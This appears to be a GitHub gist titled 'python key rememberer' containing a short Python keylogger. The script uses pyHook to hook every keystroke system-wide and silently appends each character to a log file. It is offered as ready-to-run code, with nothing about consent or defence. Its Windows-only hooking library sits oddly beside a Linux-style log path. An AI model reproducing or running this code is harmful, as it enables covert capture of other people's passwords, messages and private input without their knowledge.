Last active
December 22, 2015 07:59
-
-
Save bigsnarfdude/6442121 to your computer and use it in GitHub Desktop.
python key rememberer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyHook, pythoncom, sys, logging | |
file_log = '/home/Ubuntu/log' | |
def OnKeyboardEvent(event): | |
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') | |
chr(event.Ascii) | |
logging.log(10,chr(event.Ascii)) | |
return True | |
hooks_manager = pyHook.HookManager() | |
hooks_manager.KeyDown = OnKeyboardEvent | |
hooks_manager.HookKeyboard() | |
pythoncom.PumpMessages() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment